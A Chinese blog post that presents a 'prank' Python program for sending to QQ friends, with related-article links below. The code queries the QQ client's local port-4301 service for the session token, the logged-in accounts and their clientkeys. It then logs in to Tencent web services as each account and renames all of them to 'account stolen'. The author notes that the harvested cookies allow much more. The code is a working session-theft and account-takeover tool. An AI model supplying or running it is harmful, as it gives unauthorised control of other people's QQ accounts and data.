场景:

1.将程序发给好友,好友打开 qq昵称就会被秒改为”账号已被盗“。

2.将程序运行在自己的电脑,让那些随意借用电脑看片聊天的室友产生一个觉悟:乱使用别人电脑很可能会泄露隐私。

思路:

通过数据包模拟网页中的qq快速登录,拿到登录凭证(Cookie)修改qq昵称 实现账号被盗的假象。

1、local_token:

qq快速登录是基于qq的客户端实现的,qq客户端启动时会生成一个local_token(保存在本地的一个钥匙),通过local_token访问qq客户端的本地服务器(4301端口)可以获取到电脑上登录的所有qq账号。

2、clientkey:

仅仅知道qq账号肯定是无法登录的,还要拿clientkey。可以把clientkey理解成密码,qq客户端登录成功时会生成这个值,每个成功登录的账号都有自己的clientkey 相互匹配,只要拿到账号的clientkey就可以偷偷快速登录了。

3、cookies:

前面两步其实都是在本地网络下完成的,验证于qq客户端的本地服务器。现在提交uin+clientkey模拟快速登录是需要腾讯的远程服务器来验证的,验证通过就可以拿到登录凭证了(Cookies)。

4、ldw:

通过前几步我们已经拿到登录凭证了,可以为所欲为访问腾讯所有web端的服务了,现在我想修改账号的昵称。

我选择了通过qq个人中心的一个接口修改昵称,这个接口需要一个ldw值,并不复杂,一个get请求就能拿到。

实现:

以下使用python编程语言操作。

from urllib import request
from http import cookiejar
import json
import re opener=None
cookie=None
local_token=None
json_uins=None def modNick(index,nick):
clientuin=json_uins[index]['account']
clientkey=None
ldw=None #拿到clientkey
url = 'https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin='+clientuin+'&callback=ptui_getst_CB&r=0.810010167110566&pt_local_tk=' + local_token
opener.open(url)
for item in cookie:
if (item.name == 'clientkey'):
clientkey = item.value
break #登录
url='https://ssl.ptlogin2.qq.com/qqid?pt_clientver=5563&pt_src=1&keyindex=9&sid=5&ptlang=2052&clientuin='+clientuin+'&clientkey='+clientkey
opener.open(url) #拿到ldw
url="http://id.qq.com/cgi-bin/get_base_key?r=0.9431299830075388"
opener.open(url)
for item in cookie:
if (item.name == 'ldw'):
ldw = item.value
break #修改昵称
url = 'http://id.qq.com/cgi-bin/userinfo_mod'
data = '&n=' + nick + '&ldw=' + ldw
res = opener.open(url, bytes(data, 'utf-8'))
data = res.read() if __name__=='__main__': #opener初始化
cookie=cookiejar.CookieJar()
opener=request.build_opener(request.HTTPCookieProcessor(cookie))
opener.addheaders = [('Referer','https://xui.ptlogin2.qq.com')] #拿到local_token
url='https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=1006102&daid=1&style=23&hide_border=1&proxy_url=http%3A%2F%2Fid.qq.com%2Flogin%2Fproxy.html&s_url=http://id.qq.com/index.html'
opener.open(url)
for item in cookie:
if(item.name == 'pt_local_token'):
local_token=item.value
break #拿到uins
url='https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.21624413130736064&pt_local_tk='+local_token
res=opener.open(url)
json_uins=json.loads(re.compile('var var_sso_uin_list=(.*?);').findall(str(res.read(),'utf-8'))[0]) #修改昵称
for index in range(0,len(json_uins)):
modNick(index, '帐号已被盗!')

最后说几句:

改个昵称啥的都是小事情,拿到Cookies可以做到的事情太多了。请以自我娱乐的意识去研究扩展,不要干扰影响他人网络环境。

QQ大盗 - 巧用clientkey的更多相关文章

  1. ClientKey实现登录QQ空间,并设置背景音乐

    ClientKey大家都知道的,通过webbrowser登录后取得Cookie并计算出GTK,即可操作空间的POST. 源代码中引用了苏飞的Http类库,自己修改添加了一些拓展方法. 下载地址:htt ...

  2. 巧用foxmail同步qq邮箱的通讯录

    如果您企业使用的qq企业邮箱,那么你在web端登陆邮箱并填写收件人时,发现QQ邮箱是可以自动完成,并且中文名称自动完成. 如何在使用foxmail邮件客户端的情况下也同步这些邮箱信息呢?需要七步,看截 ...

  3. 啊哈算法之巧用队列解密QQ号

    简述 本算法摘选自啊哈磊所著的<啊哈!算法>第二章第一节的题目——使用队列来解密举例中按照规则加密的QQ号.文中代码使用C语言编写,博主通过阅读和理解,重新由Java代码实现了一遍,意在深 ...

  4. QQ JS省市区三级联动

    如下图: 首先写一个静态的页面: <!DOCTYPE html> <html> <head> <title>QQ JS省市区三级联动</title ...

  5. 巧用第三方高速开发Android App 热门第三方SDK及框架

    巧用第三方高速开发Android App 热门第三方SDK及框架 历经大半年的时间,最终是把这门课程给录制出来了,也就在今天,正式在慕课网上上线了 项目地址:巧用第三方高速开发Android App ...

  6. 巧用第三方快速开发Android App 热门第三方SDK及框架

    巧用第三方快速开发Android App 热门第三方SDK及框架 历经大半年的时间,终于是把这门课程给录制出来了,也就在今天,正式在慕课网上上线了 项目地址:巧用第三方快速开发Android App ...

  7. 技术揭秘“QQ空间”自动转发不良信息

    大家经常会看到QQ空间自动转发一些附带链接的不良信息,即便我们的QQ密码并没有被盗取.最近通过对一个QQ空间自动转发链接进行分析,发现该自动转发机制通过利用腾讯网站存在漏洞的页面,精心构造出利用代码获 ...

  8. 闲谈:乌云上那些 web-based 的 QQ 漏洞

    0×00 起始 昨日凌晨,看到爱尖刀团队发布了一条“腾讯客户端XSS,已第一时间提交至TSRC”的微博,心想,腾讯又出此类漏洞了.今日,由于有一位名叫“阿布”的同学将该漏洞发布到了乌云,引来不少争吵甚 ...

  9. C# 获取QQ群数据的实现

    一,分析 1,群数据获取 当访问http://qun.qq.com/air/#mygroup我们通过Fiddler可以查看到QQ群列表是从http://qun.qq.com/air/group/min ...

随机推荐

  1. element-ui分页当前在哪一页,刷新页面保留当前分页

  2. phoenix创建表失败:phoenixIOException: Max attempts exceeded

    下面的问题,搞了1天才解决,太坑了,在这里记录一下. 问题现像:执行命令后,1分钟没有返回, 然后报下面的错,偶尔会出现以下不同的报错信息. jdbc:phoenix:10.0.xx.1:2181&g ...

  3. mysql查看系统参数

    show global variables like ‘innodb_buffer_pool_size’: 查看buffer相关参数 show global variables like 'buffe ...

  4. 红队(red team)

    红队资源相关 https://threatexpress.com/redteaming/resources/ 红队相关技术 https://github.com/bluscreenofjeff/Red ...

  5. 逆序对 -- cogs1438 火柴排队

    题目链接:http://cogs.pro:8081/cogs/problem/problem.php?pid=vimiQkqjU [题目描述] 样例一输入: 4 2 3 1 4 3 2 1 4 样例二 ...

  6. APP安全_Android渗透环境

    Android渗透 移动APP大多通过WEB API服务的方式与服务端进行交互,这种模式把移动安全和web安全绑在一起.常见的web漏洞在移动APP中也存在,比如SQL注入,文件上传,中间件/serv ...

  7. [转帖]nginx 80端口重定向 转发到443端口

    nginx 80端口重定向到443端口 2017年05月16日 13:53:58 幸福丶如此 阅读数 33387   版权声明:本文为博主原创文章,遵循CC 4.0 by-sa版权协议,转载请附上原文 ...

  8. 【Python】【demo实验24】【练习实例】【打印图样】

    原题: 打印出如下图案(菱形): * *** ***** ******* ***** *** * 我的源码: #!/usr/bin/python # encoding=utf-8 # -*- codi ...

  9. 利用PLSQL Developer对oracle中的数据进行备份恢复

    --以备份scott用户为例,目标(备份里面所有的对象)--切换到scottconn scott/tiger;--进入  工具-->导出用户对象  如图所示 创建表空间及用户名,并赋予权限 -- ...

  10. Spring系列三:IoC 与 DI

    水晶帘动微风起,满架蔷薇一院香. 概述 在软件工程中,控制反转(IoC)是一种设计思想,对象之间耦合在一起,在运行时自动绑定,并且它们编译时对所需要引用的对象是不确定的.在这个spring教程中,通过 ...